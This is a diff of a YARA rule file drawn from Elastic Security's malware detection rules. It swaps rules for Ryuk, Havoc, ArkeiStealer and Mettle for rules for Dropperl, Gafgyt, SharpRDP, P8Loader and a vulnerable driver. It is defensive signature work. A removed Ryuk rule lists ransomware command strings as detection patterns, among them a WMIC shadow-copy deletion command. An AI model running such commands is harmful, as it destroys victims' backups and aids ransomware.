-		$e1 = { 8B 0A 41 8D 45 01 45 03 C1 48 8D 52 08 41 3B C9 41 0F 45 C5 44 8B E8 49 63 C0 48 3B C3 72 E1 }
+		$a = { E8 95 FB FF FF 83 7D D4 00 79 0A B8 ?? ?? 60 00 }
 
 	condition:
-		1 of ($e*)
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Ryuk_72B5Fd9D : BETA FILE MEMORY
+rule ELASTIC_Linux_Trojan_Dropperl_8Bca73F6 : FILE MEMORY
 {
 	meta:
-		description = "Identifies RYUK ransomware"
+		description = "Detects Linux Trojan Dropperl (Linux.Trojan.Dropperl)"
 		author = "Elastic Security"
-		id = "72b5fd9d-23db-4f18-88d9-a849ec039135"
-		date = "2020-04-30"
-		modified = "2021-08-23"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Ryuk.yar#L90-L109"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "b2abc8f70df5d730ce6a7d0bc125bb623f27b292e7d575914368a8bfc0fb5837"
+		id = "8bca73f6-c3ec-45a3-a5ae-67c871aaf9df"
+		date = "2021-04-06"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Dropperl.yar#L61-L79"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e7c17b7916b38494b9a07c249acb99499808959ba67125c29afec194ca4ae36c"
+		logic_hash = "2cfad4e436198391185fdae5c4af18ae43841db19da33473fdf18b64b0399613"
 		score = 75
 		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "7c394aa283336013b74a8aaeb56e8363033958b4a1bd8011f3b32cfe2d37e088"
-		threat_name = "Windows.Ransomware.Ryuk"
+		tags = "FILE, MEMORY"
+		fingerprint = "36df2fd9746da80697ef675f84f47efb3cb90e9757677e4f565a7576966eb169"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$d1 = { 48 2B C3 33 DB 66 89 1C 46 48 83 FF FF 0F }
+		$a = { E8 95 FB FF FF 83 7D D4 00 79 0A B8 ?? ?? 62 00 }
 
 	condition:
-		1 of ($d*)
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Ryuk_8Ba51798 : BETA FILE MEMORY
+rule ELASTIC_Linux_Trojan_Dropperl_C4018572 : FILE MEMORY
 {
 	meta:
-		description = "Identifies RYUK ransomware"
+		description = "Detects Linux Trojan Dropperl (Linux.Trojan.Dropperl)"
 		author = "Elastic Security"
-		id = "8ba51798-15d7-4f02-97fa-1844465ae9d8"
-		date = "2020-04-30"
-		modified = "2021-08-23"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Ryuk.yar#L111-L137"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "0733ae6a7e38bc2a25aa76a816284482d3ee25626559ec5af554b5f5070e534a"
+		id = "c4018572-a8af-4204-bc19-284a2a27dfdd"
+		date = "2021-04-06"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Dropperl.yar#L81-L99"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c1515b3a7a91650948af7577b613ee019166f116729b7ff6309b218047141f6d"
+		logic_hash = "10d70540532c5c2984dc7e492672450924cb8f34c8158638191886057596b0a1"
 		score = 75
 		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "8e284bc6015502577a6ddd140b9cd110fd44d4d2cb55d0fdec5bebf3356fd7b3"
-		threat_name = "Windows.Ransomware.Ryuk"
+		tags = "FILE, MEMORY"
+		fingerprint = "f2ede50ea639af593211c9ef03ee2847a32cf3eb155db4e2ca302f3508bf2a45"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$c1 = "/v \"svchos\" /f" wide fullword
-		$c2 = "cmd /c \"WMIC.exe shadowcopy delet\"" ascii fullword
-		$c3 = "lsaas.exe" wide fullword
-		$c4 = "FA_Scheduler" wide fullword
-		$c5 = "ocautoupds" wide fullword
-		$c6 = "CNTAoSMgr" wide fullword
-		$c7 = "hrmlog" wide fullword
-		$c8 = "UNIQUE_ID_DO_NOT_REMOVE" wide fullword
+		$a = { E8 97 FB FF FF 83 7D D4 00 79 0A B8 ?? ?? 60 00 }
 
 	condition:
-		3 of ($c*)
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Ryuk_88Daaf8E : BETA FILE MEMORY
+rule ELASTIC_Linux_Trojan_Dropperl_733C0330 : FILE MEMORY
 {
 	meta:
-		description = "Identifies RYUK ransomware"
+		description = "Detects Linux Trojan Dropperl (Linux.Trojan.Dropperl)"
 		author = "Elastic Security"
-		id = "88daaf8e-0bfe-46c4-9a75-2527d0e10538"
-		date = "2020-04-30"
-		modified = "2021-08-23"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Ryuk.yar#L139-L158"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "6fc463976c0fb9c3e4f25d854545d07800c63730826f3974298f0077d272cff0"
+		id = "733c0330-3163-48f3-a780-49be80a3387f"
+		date = "2021-04-06"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Dropperl.yar#L101-L119"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b303f241a2687dba8d7b4987b7a46b5569bd2272e2da3e0c5e597b342d4561b6"
+		logic_hash = "37bf7777e26e556f09b8cb0e7e3c8425226a6412c3bed0d95fdab7229b6f4815"
 		score = 75
 		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "b1f218a9bc6bf5f3ec108a471de954988e7692de208e68d7d4ee205194cbbb40"
-		threat_name = "Windows.Ransomware.Ryuk"
+		tags = "FILE, MEMORY"
+		fingerprint = "ee233c875dd3879b4973953a1f2074cd77abf86382019eeb72da069e1fd03e1c"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$f1 = { 48 8B CF E8 AB 25 00 00 85 C0 74 35 }
+		$a = { E8 A0 FB FF FF 83 7D DC 00 79 0A B8 ?? ?? 60 00 }
 
 	condition:
-		1 of ($f*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Havoc_77F3D40E : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Dropperl_39F4Cd0D : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Havoc (Windows.Trojan.Havoc)"
+		description = "Detects Linux Trojan Dropperl (Linux.Trojan.Dropperl)"
 		author = "Elastic Security"
-		id = "77f3d40e-9365-4e76-a1a3-36d128e775a9"
-		date = "2022-10-20"
-		modified = "2022-11-24"
+		id = "39f4cd0d-4261-4d62-a527-f403edadbd0c"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Havoc.yar#L1-L35"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3427dac129b760a03f2c40590c01065c9bf2340d2dfa4a4a7cf4830a02e95879"
-		logic_hash = "3d2733ed24d90e9e851ec36a08c497e9c90b47c3dcbb8755e3f6b6a6bd3a8b54"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Dropperl.yar#L121-L139"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c08e1347877dc77ad73c1e017f928c69c8c78a0e3c16ac5455668d2ad22500f3"
+		logic_hash = "5b61f54604b110d2c8efaf1782a2e520baac96c6d3e8d1eda0877475c504bf89"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "95d35d167df7f77f23b1afb1b7655cc47830c9986c54791b562c33db8f2773ae"
+		fingerprint = "e1cdd678a1f46a3c6d26d53dd96ba6c6a45f97e743765c534f644af7c6450f8e"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$core = { 48 ?? ?? 2C 06 00 00 00 ?? ?? 48 ?? ?? 5C 06 00 00 00 ?? ?? ?? ?? ?? ?? 48 8B ?? 5C 06 00 00 ?? F6 99 5A 2E E8 ?? ?? ?? ?? 48 8B ?? 48 ?? ?? 4C 02 00 00 48 8B ?? 5C 06 00 00 ?? 23 DB 07 03 E8 ?? ?? ?? ?? 48 8B ?? 48 ?? ?? 44 02 00 00 48 8B ?? 5C 06 00 00 ?? DA 81 B3 C0 E8 ?? ?? ?? ?? 48 8B ?? 48 ?? ?? 54 02 00 00 48 8B ?? 5C 06 00 00 ?? D7 71 BA 70 E8 ?? ?? ?? ?? 48 8B ?? 48 ?? ?? 64 02 00 00 48 8B ?? 5C 06 00 00 ?? 88 2B 49 8E E8 ?? ?? ?? ?? 48 8B ?? 48 ?? ?? 84 02 00 00 48 8B ?? 5C 06 00 00 ?? EF F0 A1 3A E8 ?? ?? ?? ?? }
-		$commands_table = { 0B 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 64 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 15 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 10 10 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 0C 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? [0-12] 0F 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 14 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 01 20 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 03 20 00 00 ?? ?? ?? ?? ?? ?? ?? ?? C4 09 00 00 ?? ?? ?? ?? ?? ?? ?? ?? CE 09 00 00 ?? ?? ?? ?? ?? ?? ?? ?? D8 09 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 34 08 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 16 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 18 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 1A 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 28 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 5C 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? }
-		$hashes_0 = { F6 99 5A 2E }
-		$hashes_1 = { DA 81 B3 C0 }
-		$hashes_2 = { D7 71 BA 70 }
-		$hashes_3 = { 88 2B 49 8E }
-		$hashes_4 = { EF F0 A1 3A }
-		$hashes_5 = { F5 39 34 7C }
-		$hashes_6 = { 2A 92 12 D8 }
-		$hashes_7 = { 8D F1 4F 84 }
-		$hashes_8 = { 5B BC CE 73 }
-		$hashes_9 = { 59 24 93 B8 }
-		$hashes_10 = { 02 9E D0 C2 }
-		$hashes_11 = { E5 36 26 AE }
-		$hashes_12 = { 5C 3C B4 F3 }
-		$hashes_13 = { 2F 87 D8 1C }
-		$hashes_14 = { D7 53 22 AC }
+		$a = { E8 ?? FA FF FF 83 7D D4 00 79 0A B8 ?? ?? 60 00 }
 
 	condition:
-		$core or ($commands_table and all of ($hashes*))
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Havoc_9C7Bb863 : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Sharprdp_80895Fcb : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Havoc (Windows.Trojan.Havoc)"
+		description = "Detects Windows Hacktool Sharprdp (Windows.Hacktool.SharpRDP)"
 		author = "Elastic Security"
-		id = "9c7bb863-b6c2-4d5f-ae50-0fd900f1d4eb"
-		date = "2023-04-28"
-		modified = "2023-06-13"
+		id = "80895fcb-b98e-4865-a1f6-87cbea327cea"
+		date = "2022-11-20"
+		modified = "2023-01-11"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Havoc.yar#L37-L56"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "261b92d9e8dcb9d0abf1627b791831ec89779f2b7973b1926c6ec9691288dd57"
-		logic_hash = "c1245c38c54b0a72fb335680d9ea191390e4e2fe7e47a3ed776878c5e01a3e16"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_SharpRDP.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6e909861781a8812ee01bc59435fd73fd34da23fa9ad6d699eefbf9f84629876"
+		logic_hash = "ef9a92f2ed29f508dca591e9c65a6ce0013ccdfd0c62770e8840be2f3ee5982e"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "cda55a9e65badb984e71778b081929db2bdef223792b78bba32b2259757f1348"
+		fingerprint = "a7eb084004fce79efc39781044bad501a731163fa3ad6f9b8b334611d03f5379"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -57970,58 +62228,60 @@ rule ELASTIC_Windows_Trojan_Havoc_9C7Bb863 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { 56 48 89 E6 48 83 E4 F0 48 83 EC 20 E8 0F 00 00 00 48 89 F4 5E C3 }
-		$a2 = { 65 48 8B 04 25 60 00 00 00 }
+		$guid = "F1DF1D0F-FF86-4106-97A8-F95AAF525C54" ascii wide nocase
+		$print_str0 = "[+] Another user is logged on, asking to take over session" ascii wide fullword
+		$print_str1 = "[+] Execution priv type   :  {0}" ascii wide fullword
+		$print_str2 = "[+] Sleeping for 30 seconds" ascii wide fullword
+		$print_str3 = "[X] Error: A password is required" ascii wide fullword
 
 	condition:
-		all of them
+		$guid or all of ($print_str*)
 }
-rule ELASTIC_Windows_Trojan_Havoc_88053562 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Gvci_F5A35359 : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Havoc (Windows.Trojan.Havoc)"
+		description = "Detects Windows Vulndriver Gvci (Windows.VulnDriver.Gvci)"
 		author = "Elastic Security"
-		id = "88053562-ae19-44fe-8aaf-d6b9687d6b80"
-		date = "2024-01-04"
-		modified = "2024-01-12"
+		id = "f5a35359-ee16-444a-aafd-c4ef162e46d4"
+		date = "2022-04-04"
+		modified = "2022-04-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Havoc.yar#L58-L76"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2f0b59f8220edd0d34fba92905faf0b51aead95d53be8b5f022eed7e21bdb4af"
-		logic_hash = "f79b39cc2ca4bbf6ad4b6585a9914a75797110d6fb68bcb7141c5c3d0429c412"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_Gvci.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "42f0b036687cbd7717c9efed6991c00d4e3e7b032dc965a2556c02177dfdad0f"
+		logic_hash = "beb0c324358a016e708dae30a222373113a7eab8e3d90dfa1bbde6c2f7874362"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "818011b7972ab71cbfe07ec2266f504ba0ec7df30136e414d15366aa68ad5b8a"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "590e6b10c8bd1c299eb4ecd1368ac05d8811147c7ce3976de5e86d1a6d8bc14f"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a = { 48 81 EC F8 04 00 00 48 8D 7C 24 78 44 89 8C 24 58 05 00 00 48 8B AC 24 60 05 00 00 4C 8D 6C 24 78 F3 AB B9 59 00 00 00 48 C7 44 24 70 00 00 00 00 C7 44 24 78 68 00 00 00 C7 84 24 B4 00 00 00 }
+		$str1 = "\\GVCIDrv64.pdb"
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
 }
-rule ELASTIC_Windows_Trojan_Havoc_Ffecc8Af : FILE MEMORY
+rule ELASTIC_Windows_Trojan_P8Loader_E478A831 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Havoc (Windows.Trojan.Havoc)"
+		description = "Detects Windows Trojan P8Loader (Windows.Trojan.P8Loader)"
 		author = "Elastic Security"
-		id = "ffecc8af-4a64-4252-b7ca-3316d27c3942"
-		date = "2024-04-29"
-		modified = "2024-05-08"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Havoc.yar#L78-L107"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "495d323651c252e38814b77b9c6c913b9489e769252ac8bbaf8432f15e0efe44"
-		logic_hash = "c9da6215db1de91a6cd52dd6558dc5a60bbd69abc6fa0db8714f001cdae20ddb"
+		id = "e478a831-b2a1-4436-8b17-ca92b9581c39"
+		date = "2023-04-13"
+		modified = "2023-05-26"
+		reference = "https://www.elastic.co/security-labs/elastic-charms-spectralviper"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_P8Loader.yar#L1-L26"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "f1a7de6bb4477ea82c18aea1ddc4481de2fc362ce5321f4205bb3b74c1c45a7e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "d09b0519d518b741cec7f6e42efaa657410edd36d027f54e515be510b33fa821"
+		fingerprint = "267743fc82c701d3029cde789eb471b49839001b21b90eeb20783382a56fb2c3"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -58029,68 +62289,63 @@ rule ELASTIC_Windows_Trojan_Havoc_Ffecc8Af : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$commands_table = { 0B 00 00 00 00 00 00 00 [8] 64 00 00 00 00 00 00 00 [8] 15 00 00 00 00 00 00 00 [8] 10 10 00 00 00 00 00 00 [8] 0C 00 00 00 00 00 00 00 [8] 0F 00 00 00 00 00 00 00 [8] 14 00 00 00 00 00 00 00 [8] 01 20 00 00 00 00 00 00 [8] 03 20 00 00 00 00 00 00 [8] C4 09 00 00 00 00 00 00 [8] CE 09 00 00 00 00 00 00 [8] D8 09 00 00 00 00 00 00 [8] 34 08 00 00 00 00 00 00 [8] 16 00 00 00 00 00 00 00 [8] 18 00 00 00 00 00 00 00 [8] 1A 00 00 00 00 00 00 00 [8] 28 00 00 00 00 00 00 00 [8] E2 09 00 00 00 00 00 00 [8] EC 09 00 00 00 00 00 00 [8] F6 09 00 00 00 00 00 00 [8] 00 0A 00 00 00 00 00 00 [8] 5C 00 00 00 00 00 00 00 }
-		$hash_ldrloaddll = { 43 6A 45 9E }
-		$hash_ldrgetprocedureaddress = { B6 6B CE FC }
-		$hash_ntaddbootentry = { 76 C7 FC 8C }
-		$hash_ntallocatevirtualmemory = { EC B8 83 F7 }
-		$hash_ntfreevirtualmemory = { 09 C6 02 28 }
-		$hash_ntunmapviewofsection = { CD 12 A4 6A }
-		$hash_ntwritevirtualmemory = { 92 01 17 C3 }
-		$hash_ntsetinformationvirtualmemory = { 39 C2 6A 94 }
-		$hash_ntqueryvirtualmemory = { 5D E8 C0 10 }
-		$hash_ntopenprocesstoken = { 99 CA 0D 35 }
-		$hash_ntopenthreadtoken = { D2 47 33 80 }
+		$a1 = "\t[+] Create pipe direct std success\n" fullword
+		$a2 = "\tPEAddress: %p\n" fullword
+		$a3 = "\tPESize: %ld\n" fullword
+		$a4 = "DynamicLoad(%s, %s) %d\n" fullword
+		$a5 = "LoadLibraryA(%s) FAILED in %s function, line %d" fullword
+		$a6 = "\t[+] No PE loaded on memory\n" wide fullword
+		$a7 = "\t[+] PE argument: %ws\n" wide fullword
+		$a8 = "LoadLibraryA(%s) FAILED in %s function, line %d" fullword
 
 	condition:
-		$commands_table and 4 of ($hash_*)
+		5 of them
 }
-rule ELASTIC_Windows_Trojan_Arkeistealer_84C7086A : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_83715433 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Arkeistealer (Windows.Trojan.ArkeiStealer)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "84c7086a-abc3-4b97-b325-46a078b90a95"
-		date = "2022-02-17"
-		modified = "2022-04-12"
+		id = "83715433-3dff-4238-8cdb-c51279565e05"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_ArkeiStealer.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "708d9fb40f49192d4bf6eff62e0140c920a7eca01b9f78aeaf558bef0115dbe2"
-		logic_hash = "b7129094389f789f0b43f0da54645c24a6d1149f53d6536c14714e3ff44f935b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3648a407224634d76e82eceec84250a7506720a7f43a6ccf5873f478408fedba"
+		logic_hash = "7a7328322c2c1e128e267e92de0964e78ad9f49b7de8ec69d7f0632c69723a7d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f1d701463b0001de8996b30d2e36ddecb93fe4ca2a1a26fc4fcdaeb0aa3a3d6d"
+		fingerprint = "25ac15f4b903d9e28653dad0db399ebd20d4e9baabf5078fbc33d3cd838dd7e9"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 01 89 55 F4 8B 45 F4 3B 45 10 73 31 8B 4D 08 03 4D F4 0F BE 19 8B }
+		$a = { 8B 45 08 88 10 FF 45 08 8B 45 08 0F B6 00 84 C0 75 DB C9 C3 55 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Virus_Thebe_1Eb5985A : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_28A2Fe0C : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Virus Thebe (Linux.Virus.Thebe)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "1eb5985a-2b35-434f-81d9-f502dff25397"
-		date = "2021-04-06"
+		id = "28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd"
+		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Virus_Thebe.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "30af289be070f4e0f8761f04fb44193a037ec1aab9cc029343a1a1f2a8d67670"
-		logic_hash = "7d4bc4b1615048dec1f1fac599afa667e06ccb369bb1242b25887e0ce2a5066a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L21-L38"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "04bbc6c40cdd71b4185222a822d18b96ec8427006221f213a1c9e4d9c689ce5c"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "5cf9aa9a31c36028025d5038c98d56aef32c9e8952aa5cd4152fbd811231769e"
+		fingerprint = "a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -58098,61 +62353,57 @@ rule ELASTIC_Linux_Virus_Thebe_1Eb5985A : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 42 31 C9 31 DB 31 F6 B0 1A CD 80 85 C0 0F 85 83 }
+		$a = { 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mettle_E8Fdbcbd : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_Eb96Cc26 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mettle (Linux.Trojan.Mettle)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "e8fdbcbd-84d3-4c42-986b-c8d5d940a96a"
-		date = "2024-05-06"
-		modified = "2024-05-21"
+		id = "eb96cc26-e6d6-4388-a5da-2501e6e2ea32"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mettle.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "864eae4f27648b8a9d9b0eb1894169aa739311cdd02b1435a34881acf7059d58"
-		logic_hash = "d13c1e7fb815ebbefa78922e9b85a1ced015c03b8f1b2cf1885a9c483b8e0ab3"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L40-L58"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "440318179ba2419cfa34ea199b49ee6bdecd076883d26329bbca6dca9d39c500"
+		logic_hash = "3d8740a6cca4856a73ea745877a3eb39cbf3ad4ca612daabd197f551116efa04"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2038686308a77286ed5d13b408962075933da7ca5772d46b65e5f247193036b5"
+		fingerprint = "73967a3499d5dce61735aa2d352c1db48bb1d965b2934bb924209d729b5eb162"
 		severity = 100
-		arch_context = "x86, arm64"
+		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$mettle1 = "mettlesploit!"
-		$mettle2 = "/mettle/mettle/src/"
-		$mettle3 = "mettle_get_c2"
-		$mettle4 = "mettle_console_start_interactive"
-		$mettle5 = "mettle_get_machine_id"
+		$a = { 49 6E 66 6F 3A 20 0A 00 5E 6A 02 5F 6A 01 58 0F 05 6A 7F 5F }
 
 	condition:
-		2 of ($mettle*)
+		all of them
 }
-rule ELASTIC_Linux_Trojan_Mettle_813B9B6C : FILE MEMORY
